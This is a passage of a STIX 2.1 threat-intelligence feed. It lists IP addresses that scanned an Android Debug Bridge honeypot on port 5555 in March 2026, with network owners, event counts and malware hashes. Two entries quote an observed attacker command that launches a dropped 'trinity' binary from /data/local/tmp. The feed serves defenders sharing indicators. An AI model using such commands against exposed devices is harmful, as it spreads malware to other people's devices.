      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-28T12:21:22.000Z | last_seen=2026-03-28T12:35:08.497Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:04.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-28T12:21:22.000Z",
          "last_seen": "2026-03-28T12:35:08.497Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-28T12:54:09.000Z | last_seen=2026-03-28T13:04:11.435Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:04.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-28T12:54:09.000Z",
          "last_seen": "2026-03-28T13:04:11.435Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T12:52:07.000Z | last_seen=2026-03-28T12:53:11.424Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--82b36727-89cb-4e0c-9280-dc6237592bb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:04.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T12:52:07.000Z",
          "last_seen": "2026-03-28T12:53:11.424Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T13:47:17.000Z | last_seen=2026-03-28T13:48:18.564Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3716e489-22ee-4f74-b4d0-368638dd945f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.223.189.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:00:03.000Z",
      "valid_until": "2026-04-29T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T13:47:17.000Z",
          "last_seen": "2026-03-28T13:48:18.564Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T13:47:17.000Z | last_seen=2026-03-28T13:48:18.564Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3716e489-22ee-4f74-b4d0-368638dd945f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.223.189.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T14:00:03.000Z",
      "valid_until": "2026-04-29T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T13:47:17.000Z",
          "last_seen": "2026-03-28T13:48:18.564Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T14:00:53.000Z | last_seen=2026-03-28T14:02:00.748Z | ports=5555 | cc=JP | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--dac486dc-bce1-4048-b7d9-eb25d0356dcf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '8.216.43.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T15:00:03.000Z",
      "valid_until": "2026-04-29T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T14:00:53.000Z",
          "last_seen": "2026-03-28T14:02:00.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T14:00:53.000Z | last_seen=2026-03-28T14:02:00.748Z | ports=5555 | cc=JP | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--dac486dc-bce1-4048-b7d9-eb25d0356dcf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '8.216.43.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T15:00:03.000Z",
      "valid_until": "2026-04-29T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T14:00:53.000Z",
          "last_seen": "2026-03-28T14:02:00.748Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T18:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T17:40:38.000Z | last_seen=2026-03-28T17:41:47.423Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--2cb0f6c9-51f8-43f5-99fc-a1b0eb2c46fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.25.177.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:00:04.000Z",
      "valid_until": "2026-04-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T17:40:38.000Z",
          "last_seen": "2026-03-28T17:41:47.423Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T18:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-28T17:16:45.000Z | last_seen=2026-03-28T17:27:49.318Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--21c7e2e6-a201-479c-a764-e9eb25d6af40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.216.149.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:00:04.000Z",
      "valid_until": "2026-04-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-28T17:16:45.000Z",
          "last_seen": "2026-03-28T17:27:49.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T18:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T17:40:38.000Z | last_seen=2026-03-28T17:41:47.423Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--2cb0f6c9-51f8-43f5-99fc-a1b0eb2c46fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.25.177.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:00:05.000Z",
      "valid_until": "2026-04-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T17:40:38.000Z",
          "last_seen": "2026-03-28T17:41:47.423Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T18:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-28T17:16:45.000Z | last_seen=2026-03-28T17:27:49.318Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--21c7e2e6-a201-479c-a764-e9eb25d6af40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.216.149.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T18:00:05.000Z",
      "valid_until": "2026-04-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-28T17:16:45.000Z",
          "last_seen": "2026-03-28T17:27:49.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T19:49:13.000Z | last_seen=2026-03-28T19:50:53.018Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--2316eebb-24e9-4f5b-beff-2ec72314e138",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.241.33.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:00:03.000Z",
      "valid_until": "2026-04-29T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T19:49:13.000Z",
          "last_seen": "2026-03-28T19:50:53.018Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-28T19:36:16.000Z | last_seen=2026-03-28T19:37:40.752Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:00:03.000Z",
      "valid_until": "2026-04-29T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-28T19:36:16.000Z",
          "last_seen": "2026-03-28T19:37:40.752Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T20:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T19:49:13.000Z | last_seen=2026-03-28T19:50:53.018Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--2316eebb-24e9-4f5b-beff-2ec72314e138",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.241.33.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:00:04.000Z",
      "valid_until": "2026-04-29T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T19:49:13.000Z",
          "last_seen": "2026-03-28T19:50:53.018Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T20:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-28T19:36:16.000Z | last_seen=2026-03-28T19:37:40.752Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T20:00:04.000Z",
      "valid_until": "2026-04-29T20:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-28T19:36:16.000Z",
          "last_seen": "2026-03-28T19:37:40.752Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=58 | first_seen=2026-03-28T21:17:36.000Z | last_seen=2026-03-28T21:31:21.478Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--ebe2b1e6-daa7-42ad-a1f7-f1fd44ee4adc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.142.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:00:03.000Z",
      "valid_until": "2026-04-29T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
